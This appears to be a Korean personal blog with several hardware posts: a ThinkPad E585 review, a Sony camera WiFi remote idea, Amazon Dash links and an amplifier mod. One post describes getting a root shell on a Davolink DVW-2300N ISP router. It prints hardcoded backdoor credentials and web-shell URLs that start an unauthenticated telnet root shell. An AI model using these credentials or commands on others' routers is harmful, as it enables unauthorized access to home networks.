All posts by RSR

노트북 구매 Lenovo ThinkPad E585

여태 사용하고(이 리뷰 작성에도 사용하는) 사용했던 노트북은 2015년 10월인가 11월인가 구매한 HP ENVY 13 제품이다.
스카이레이크 i5에 8G ram, 3200×1800해상도의 IPS 액정(글레어는 함정), 256G의 M.2 SATA SSD, 1.27kg
출시와 동시에 예약구매하여 액정 빛샘이 너무 심해 직접 총판가서 3대 열어서 양품으로 받아온 노트북이 언제부터인가 부족한점이 조금씩 눈에 밟히며 여유되면 새로 장만해야지 벼르다 최근에 ThinkPad E585를 구매하였다.

지금에서야 쓰는 ENVY 13 최대 단점은
HDMI 4K60Hz 미지원 (4K30Hz까지만..)
M.2 NVME 미지원
확장불가능한 Onboard DDR3 정도가 있다.
사무용도로 쓰기에는 아직도 부족함이 없으나 VM 한개도 버거운 램과 낮은 IOPS의 SSD로 인해 로드가 발생하면  급격히 느려지며 팬이 엄청난 속도로 돌아간다.
램은 온보드라 교체를 못하니 SSD만이라도 바꿔볼려 했더니 NVME는 미지원에 거기에 4K 30Hz에서 느껴지는 인풋렉이 점차 사용시간을 줄여 나갔고 3년가량의 정을 뚝 떨어지게 만들기에 충분하였다.

단점만 쓰면 부정적으로 보여질 수 있으니 장점으로는
가벼운 무게, 반올림하여 1.3kg대와 무식한 크기의 어댑터는 집에서 쓰고 외출용으로는 그램 어댑터를 개조해서 가지고 다녔는데 전공책 한권보다 가벼운 느낌으로 휴대가능.
인터넷 사용으로는 팬따위는 돌지않는다. (리퀴드 프로 덕일까?..)
3200×1800의 IPS액정은 반사패널이라 조금 아쉬움이 있지만 너무 높은 해상도로 인해 2880×1620 정도로 조정해서 사용하였다.
키감, 터치패드도 나름 우수하여 여러모로 나를 만족시켜주었다.
3년간 사용한 노트북이 동영상 재생 4시간을 버티고 대기모드로 들어가는건 관리를 잘해서인지… 좋은 노트북이어서 그런건지는 모르겠다.

ENVY는 이쯤 ENVY 하고 이번에 구매한 E585는
AMD의 라이젠 2500U를 사용하며 DDR4 램슬롯은 두개!
15.6인치이나 해상도는 FHD로 ENVY보다 많이 안좋아졌다. 실제 사용에 있어서도 시야각이 협소하다. TN처럼 반전되지 않으나 명암비가 뚜렷하게 나빠진다.
2.1kg 로 외장그래픽이 빠진 모델 치고는 좀 무겁다. 대신 어댑터가 ENVY의 그것보다 작으며 가볍다.  묵직해진 만큼 튼튼해진 느낌이다.
USB-C로 충전가능하여 차후에 USB-C PD 어댑터를 구매한다면 더 편리할 것 같다.

커다란 픽셀에 불량화소라도 있으면 어쩌나 걱정을 했는데 액정은 양품이다. 시야각이 그리 좋은편은 아닌데 상품설명보면 178도 화각이란다… 서양 형님들이 BOE 패널임을 EDID값으로 확인한듯 하다.
리눅스 부팅문제가 있는데 독일형님께서 해결책을 찾고 레노버에 리포팅하였으나 아직 패치는 없는것으로 보인다.
간단하게 리눅스 부팅할때 검정화면에서 멈춘다면 kernel boot arg에

ivrs_ioapic[32]=00:14.0 ivrs_ioapic[33]=00:00.1 spec_store_bypass_disable=seccomp

를 추가하면 부팅이 잘 된다는것.
블프에 NVME SSD를 구매하고 거기에 사용환경을 세팅할 예정이기에 기존의 128 SSD에는 윈도우를 설치하여 이것저것 테스트 해보고 라이브 USB로 리눅스 부팅을 테스트 해보았으나 역시 검정화면이 지속되어 위의 argments를 추가하였더니 마법처럼 부팅이 되었다.  블루투스가 불안정하다는 이슈가 있었지만 나는 거기에 스피커 소리가 나지않는 문제까지 발생하였다. 뭐 이런건 차차 해결해 나가도록 하고… 아니 누가 해결좀 해줬으면 하고….

뭔가를 사면 뜯고 보는것은 박스만이 아니다.
정상부팅만 확인하고 뒷판을 열어 내용물을 확인하였다. (외관은 보드나라에서 자세히 다뤄준다)

성질이 급해서 팬까지 다 떼고 떢찌떢찌 발려있던 서멀 닦아내고 한컷. (진짜 서멀 아낌없이 떡칠되어 있었다)

굴러다니던 리퀴드 프로를 얹고 한컷. (캐패시터로 보이는 부품이 많아서 캡톤테잎으로 둘렀다.)

싸구려 SSD도 한컷 TS128GMTE110S 라는데

이런 이상한 속도가 나온다. 다른 리뷰들 보면 쓰기속도도 1000대가 넘었던거같은데….

서멀도 다시 발라줬으니 내장그래픽의 파스를 돌려보았다. (8g x 2 듀얼채널)

서멀 재도포전 점수는…..  안타깝게도 측정하지 못했다;
보통 2500u의 경우 2000~2200대를 기록하고 인텔의 8250u가 900점 정도 나오는것 같다.

무엇보다 궁금했던것이 HDMI가 4K60Hz(HDMI2.0)를 지원할 것인가 하는 문제였다.
구글링을 통해 얻은 Spec sheet에는 Max resolution이 FHD 60Hz로 표기되어 있어서 4k가 지원되지 않으면 어떻하나 싶으면서도 레노버 포럼에는 E585로 4K50Hz가 지원되는 스크린샷을 올라와 있었다. 또한 노트포럼에서 USB-C를 통해 DP 출력을 지원한다고 하여 반신반의하며 구매하였다.
결론은 내장된 HDMI는 4K60Hz를 지원한다. 크로스오버 2714ud를 이용하여 4K60Hz가 지원되는것을 확인하였고 나중에 여력이 된다면 USB-C를 통해 4K60Hz가 지원되는지 확인예정이다.

잠깐 사용하며 느낀 E585의 장단점은
램슬롯 두개, 2.5 inch + NVME, 4K60Hz, 키감, 디자인, USB-C, 180도 힌지 등이 장점이고
인터넷만해도 돌아가는 팬소음, 하판 나사는 알루미늄 포일을 구겨서 만들었을거야, 2.5inch sata를 쓰기위해서는 20$가량의 케이블을 별도구매해야함, 리눅스 지원이 미흡한 점, 싸구려 액정패널, 저렴이 터치패드 등은 단점이 되지만 이를 모두 용서하는 가격.

무게는 다소 늘어났지만 저렴한 가격에 원하는 성능을 모두 충족시키는 제품을 구매한것 같다.
앞으로 몇년동알 쓰게될진 모르겠지만 E585로 재미있는것들을 많이 할 수 있었으면 좋겠다.

ps. 4K60Hz와 PD를 동시 지원하는 USB-C 어댑터, 도크
https://www.aliexpress.com/item/Original-Xiaomi-Type-C-USB-C-to-Mini-DisplayPort-Multi-function-Adapter-4K-HD-Smart-Charge/32950081605.html
http://prod.danawa.com/info/?pcode=6000족346
샤오미는 mini-displayport라서 별도 케이블 필요한데 다른기능들이 너무좋다…

++++ 2018-11-26 추가 ++++

2.5inch 외장슬롯에 sata케이블이 존재하지 않는다.
판매자측에 문의결과 SSD모델은 하드 빼면서 sata케이블과 가이드를 같이 제거하로 SSD를 장착한다고 한다.
별도 구매는 1만 5천원이며 택배비 2500원, 배송은 하루만에 해주었다.

전화로는 새제품 보내줄것처럼 이야기했는데…. 그냥 기존 노트북에서 빼낸제품이다.
작동은 잘 되며 약간의 무게가 증가하였다.

+ 사용기 추가

액정이 저질이다. 1~2분만 밝은화면 띄워놓으면 잔상이 생긴다.(없어지긴 한데 거슬린다)
thinkfan설치하여 FAN 속도 제어하니 계속 돌던팬이 웹서핑 기준으로 5분에 한번씩 10초정도 돈다.
노트북쿨러를 이용하면 조용하게 사용가능할것 같다.

970 evo 500GB로 NVME SSD를 교체하였다. 정상작동.

배터리는 일반적인 웹서핑시 80%밝기에서 1시간에 40%가 빠진다. 2시간이라고 보면 될듯, USB-C PD를 사용하니 충전은 꽤나 자유로울듯.

++ 패널 정보

cat  /sys/devices/pci0000:00/0000:00:08.1/0000:05:00.0/drm/card0/card0-eDP-1/edid | edid-decode 
Extracted contents:
header:          00 ff ff ff ff ff ff 00
serial number:   30 ae ba 40 00 00 00 00 00 1b
version:         01 04
basic params:    a5 22 13 78 ea
chroma info:     cd e5 95 5b 55 8f 27 1d 50 54
established:     00 00 00
standard:        01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
descriptor 1:    24 36 80 a0 70 38 1f 40 30 20 35 00 58 c2 10 00 00 19
descriptor 2:    50 2b 80 a0 70 38 1f 40 30 20 35 00 58 c2 10 00 00 19
descriptor 3:    00 00 00 0f 00 d1 09 32 d1 09 30 19 0a 00 30 e4 ba 05
descriptor 4:    00 00 00 fe 00 4c 50 31 35 36 57 46 39 2d 53 50 4b 33
extensions:      00
checksum:        2c

Manufacturer: LEN Model 40ba Serial Number 0
Made week 0 of 2017
EDID version: 1.4
Digital display
8 bits per primary color channel
DisplayPort interface
Maximum image size: 34 cm x 19 cm
Gamma: 2.20
DPMS levels: Standby Suspend Off
Supported color formats: RGB 4:4:4, YCrCb 4:4:4
First detailed timing is preferred timing
Established timings supported:
Standard timings supported:
Detailed mode: Clock 138.600 MHz, 344 mm x 194 mm
               1920 1968 2000 2080 hborder 0
               1080 1083 1088 1111 vborder 0
               -hsync -vsync 
Detailed mode: Clock 110.880 MHz, 344 mm x 194 mm
               1920 1968 2000 2080 hborder 0
               1080 1083 1088 1111 vborder 0
               -hsync -vsync 
Manufacturer-specified data, tag 15
ASCII string: LP156WF9-SPK3
Checksum: 0x2c (valid)
EDID block does NOT conform to EDID 1.3!
	Missing name descriptor
	Missing monitor ranges

패널이LP156WF9-SPK3 로 나온다.. LG 제품이다..

 

++++ 2019-05-23 추가

무선랜을 Intel Wireless-AC 9260으로 교체,  iperf로 단순 측정결과 250Mb/s 정도에서 480Mb/s로 두배가량 빨라짐
블루투스도 5버전 사용가능(커널 5.1.3 이후 사용가능)

현재 사용중인 kernel command line “ivrs_ioapic[32]=00:14.0 ivrs_ioapic[33]=00:00.1 thinkpad-acpi.fan_control=1 thinkpad-acpi.experimental=1 libata.allow_tpm=1 iommu=pt amdgpu.dc=1 amdgpu.aspm=0 pcie_aspm=off psmouse.synaptics_intertouch=1 iwlwifi.bt_coex_active=1”

간헐적으로 커널패닉 있음(amdgpu 드라이버 탓으로 추정)

HP에서는 BIOS 패치해준것으로 아는데 Lenovo는 아직 없음….

메이저 사에 의한 스피커 튜닝이나 이런건 전혀 없는걸로 아는데 예전의 HP ENVY with B&O 보다 훨씬 듣기 좋은 소리를 내줘서 나름 만족x3

E라인대 키보드가 별로라는 평가가 많던데, 좀 번들거리는거 빼곤 만족

좀더 저렴한 USB C to HDMI 4K60Hz 지원 어댑터가 알리에 올라왔으나 아직 모니터 미구매로 구매보류
https://www.aliexpress.com/item/Type-C-To-USB-C-USB-3-0-HUB-Multiport-Adapter-HDMI-2-0-4K-60Hz/32980806917.html

 

++++ 2019-07-27 추가

스페이스 바 밑의 좌, 가운데, 우클릭버튼 사용 시 클릭감이 느껴지는데도 클릭이 되지 않아 키보드 모듈 전체를 교환받았으나 동일 증상 반복(원래 그런듯..)

보통경우 버튼에 가해지는 압력이 증가하면 버튼 인식과 클릭감이 거의 동시에 발생하나
E585에 적용된 버튼은 클릭감이 한참 먼저 발생하며 압력이 더 증가해야 버튼 인식이 되는것으로 확인.
버튼 인식후에도 압력을 줄이면 UP 이벤트 발생 한 뒤 이후 압력이 더 줄어들면 버튼 릴리즈 감이 느껴져 드래그나 클릭에 불편함이 발생하게 된다.

교체 이후 동일증상이라 그냥 감안하고 사용해야겠다.

이전의 키보드를 1년 가까이 사용해서 그런지 키보드모듈 교체이후 키가 좀더 단단해진것이 느껴진다.

공유기 루트쉘 획득하기

인터넷 설치하면서 생긴 공유기(DVW-2300N)를 사용하면서 문득 루트쉘을 열어보고 싶어졌다.

보통 같으면 뚜껑따서 UART 연결하거나 롬떠서 작업을 했겠지만 잠깐 살펴보면서 자동업데이트 기능이 존재하는것을 확인하였다.
브릿지로 연결해봤더니 “http://180.182.38.50:8080/tms/servlet/getApProvInfo?macAddr=18c50122XXXX&downType=1&ver=F1.0&cfgac=6767&cfver=Davolink_DVW-2300N_1.36.50CJ_CFG&fwac=7539&fwver=Davolink_DVW-2300N_1.40.50CJ&model=DVW-2300N&vendor=Davolink&cferr=0&fwerr=0”
요청을 확인할 수 있었고 456bytes 의 바이너리 파일을 획득하였다.
대충 봤을때 암호화 or 인코딩이 되어 식별이 불가능했으나 downType의 인자를 1이 아닌 0으로 주었더니 아래의 텍스트를 확보할 수 있었다.

macaddr=18c50122XXXX
apms_ip=180.182.38.51
prov_ip=180.182.38.50
cfgac=6767
config_url=http://180.182.38.50:8080/config_ap/6767/Davolink_DVW-2300N_1.36.50CJ_CFG.txt
config_ver=Davolink_DVW-2300N_1.36.50CJ_CFG
fwac=7539
firmware_url=http://180.182.38.50:8080/firmware_ap/7539/Davolink_DVW-2300N_1.40.50CJ.img
firmware_ver=Davolink_DVW-2300N_1.40.50CJ_20180227
prov_interval=1
prov_stime=00:00:00
prov_etime=23:59:59
retry_count=3
retry_interval=10,20,30

설정파일과 펌웨어 파일의 주소를 확보할 수 있었고 펌웨어의 경우 realtek 표준펌웨어로 보여졌다.
설정파일에는

Manufacture=Davolink

root_id=cjroot
root_pw=CJHV_VoIP_0601

이런 내용이 담겨있었고 Web접근에 사용가능하였다. (유저비밀번호 백날 바꿔봐야 이런 백도어있으면 무의미하다)
cjroot로 접근하였더니 네트워크/인터넷설정 탭에서 Telnet 활성화메뉴가 나타났으며 활성화를 시켜도 텔넷접속은 되지 않았다.


펌웨어를 분석해보니 web shell이 존재하여 이를 이용하여 몇가지 작업을 해볼 수 있었다. (*아래 URL접근은 cjadmin으로도 가능하였다)

http://192.168.200.254/goform/sysconsole?cmd=ls%20-al%20/
http://192.168.200.254/goform/sysconsole?cmd=telnetd -p 22 -l /bin/sh &
http://192.168.200.254/goform/formMfgTest?diag_result

기존의 데몬을 죽이고 포트와 쉘을 다시 지정하니 텔넷접근이 가능하였다.

아이디와 패스워드를 확보하기위해 열심히 펌웨어를 분석했으나 간단하게도 답은 cjroot에 CJHV_VoIP_0601 였다.
(인터넷이 연결되지 않으면 “**********” 을 아이디와 패스워드로 사용하는것으로 보인다)
쉘 확보하고 간단한 정보를 띄워 보았다.

# cat /proc/cpuinfo 
system type             : RTL8196C
processor               : 0
cpu model               : 52481
BogoMIPS                : 389.12
tlb_entries             : 32
mips16 implemented      : yes
unaligned access        : 226
# cat /proc/mtd 
dev:    size   erasesize  name
mtd0: 004dc000 00001000 "boot+cfg+linux"
mtd1: 002d4000 00001000 "root fs"
mtd2: 00020000 00001000 "dlog"
mtd3: 00010000 00001000 "dvnv1"
mtd4: 00020000 00001000 "dvnv2"
# cat /proc/meminfo 
MemTotal:          27144 kB
MemFree:           11440 kB
Buffers:            1256 kB
Cached:             4248 kB
SwapCached:            0 kB
Active:             4408 kB
Inactive:           3124 kB
Active(anon):       2028 kB
Inactive(anon):        0 kB
Active(file):       2380 kB
Inactive(file):     3124 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          2040 kB
Mapped:             1508 kB
Slab:               7352 kB
SReclaimable:        332 kB
SUnreclaim:         7020 kB
PageTables:          364 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       13572 kB
Committed_AS:       5108 kB
VmallocTotal:    1048404 kB
VmallocUsed:         284 kB
VmallocChunk:    1044808 kB
#

뭔가 하기에는 리소스가 너무 열악하다…
심지어 chmod도 없어서 cp신공으로 바이너리 몇개 실행시켜보고 끝냈다.

잠깐 분석? 하면서 miniupnpd가 외부포트로 개방되어 있는것을 확인하였다.
TCP 포트는 부팅시에 랜덤하게 결정되는것으로 보이며 UDP는 1900고정개방인듯 하다.

정상적인 사용을 위해 upnp와 자동업데이트는 사용하지 않는것으로 설정하였다.

 

근데 이걸 내가 왜 분석한거지…?

Sony Wifi Remote with ESP8266

Sony의 RX100M3를 쓰면서 리모트 기능이 필요해서 알아보던 중 이 제품은 다른 리모컨 기능은 없고 WiFi를 이용해서 스마트폰 APP을 통해 현재 화면을 보면서 셔터를 누를 수 있는 기능이 존재한다.
해당기능을 사용하기위해서는 먼저 RX100에서 스마트 리모컨 앱을 실행시키고 스마트폰에서 PlayMemories 앱을 이용하여 연결하여야 한다.
이때 RX100은 WiFi Direct Mode로 작동하며 SSID와 Password를 화면에 제공한다.
스마트폰에서는 Password를 이용하여 접속하는 방식.

RX100M3를 분석하기 위해 Sony에서 펌웨어를 받았고 Sony camera firmware를 풀어주는 도구를 찾았다.
https://github.com/ma1co/fwtool.py
3세대 까지 지원한다는데 여기서 3세대가 의미하는바는 모르겠다.
확보한 펌웨어 DSC-RX100M3_FirmwareUpdate_Ver2.00를 풀어보니
RX100M3의 운영체제로써 안드로이드가 운영되는것을 확인하였다.
“스마트 리모컨”의 실체인 SmartRemote.apk를 확보하고 분석전에 하드웨어로 어떻게 구현할까 고민하다가 ESP8266을 사용해서 만들면 되겠다 …! 하고 자료수집을 위해 검색중

Sony Camera Remote Control mit ESP8266


이걸 찾았다 ..!

저자인 glaskugelsehen은 https://play.google.com/store/apps/details?id=com.thibaudperso.sonycamera 앱에서 사진 찍을때 발생하는 패킷을 캡쳐해서 그것을 분석하였다.
해당앱은 깃헙에 소스가 공개되어있다 https://github.com/ThibaudM/timelapse-sony
그리고 소니는 해당 API를 제공한다. https://developer.sony.com/develop/cameras/
나는 왜… 리버싱을 먼저 하려고 하였나.

뭐 여튼 어떻게됫든 원하는것을 매우 간단하게 만들 수 있게 되었다.
알리에서 esp모듈 주문하고 기다리자…

Amazon Dash

제품이 없으니 일단 자료조사만 먼저 ^^;

1세대 JK76PL
https://wikidevi.com/wiki/Amazon_Dash_Button_1_Gen_(JK76PL)
https://learn.adafruit.com/dash-hacking-bare-metal-stm32-programming/overview
https://github.com/dekuNukem/Amazon_Dash_Button
http://key-basher.blogspot.kr/2016/09/amazon-dash-button-version-2.html
https://github.com/gtalusan/redash
https://mpetroff.net/2015/05/amazon-dash-button-teardown
http://www.valcolabs.com/2016/05/24/amazon-iot-button-hacking-part-1

2세대 JK29PL
https://mpetroff.net/2016/07/new-amazon-dash-button-teardown-jk29lp
https://github.com/EliasKotlyar/FreeDash

TPA3116D2 앰프 후기

마샬 스탠모어 오리지날 보드의 사망으로 급하게 100W급 2.1채널 앰프를 알아보았다.
100W급의 2.1채널은 선택폭이 매우 좁았으며 검색을통해 TPA3116D2제품을 선택하였다.
알리를 통해 구매하는것이 저렴하나 1달여기간의 기다림 대신 중고나라에서 2만원에 구매하였다.

구매하고 확인하니
https://www.aliexpress.com/item/TPA3116-High-Power-Digital-2-1-Amplifier-board-Stereo-Input-Stereo-and-Super-bass-Out/32759094585.html
제품과 동일하였다.

스피커와 전원을 인가하니 어마어마한 노이즈가…. 들려온다.
팝노이즈의 경우 보드에 지연회로가 있는것으로 보인다. 하지만 라인인을 연결하지 않았음에도 엄청난량의 화이트 노이즈가 들려오는것을 확인하고 대책을 찾기 시작하였다.

TPA3116D2제품을 사용한 제품으로 브리즈(Breeze) 앰프가 인기가 있는것으로 보이는데 구글링하니 오리지널 보드에서 노이즈가 상당하다는 사용기가 많았다…
다행히 몇가지 부품 튜닝을 통해 노이즈를 줄였다는 글이 있어 동일한 제품은 아니지만 시도해 보기로 하였다.

게인조절에 대한 글이 많아서 먼저 게인을 조절하여 보기로 하였다.
제품에 적용된 게인은 TPA3116D2의 최대인 36dB가 적용되어있었다.
사진상의 좌측에 위치한 TPA3116D2가 우퍼채널을 위한 Slave, 우측이 L, R출력을 위한 Master로 보여진다
GAIN 핀에 연결된 저항은 각각 Master에 47k, 75k Slave에 100k, 16k가 붙어있었다.
볼륨이 조금 작다는 이야기가 있긴하나 노이즈 최대절감을 위해 20dB로 목표게인을 설정하였다.

Master를 위해 5.6k Slave를 위해 51k저항이 필요하다.
보유하고있는 칩저항은 없고 다행히 1/8W저항중 5.1k와 51k가 있어 이를 사용하기로 했다. (Master에 0.5k가 작긴하지만…)

튜닝 후 정상작동하는것을 확인하였고 노이즈 또한 현저히 감소한것을 확인하였다. (없어지진 않았으나 귀 기울이지 않는다면 들리진 않을것 같다)
볼륨 또한 작아지긴 했는데 50%만 사용해도 충분하였다.

출력부분 인덕터에서 발열이 조금 있으나 가격대 성능이 나쁘지 않은것으로 생각된다.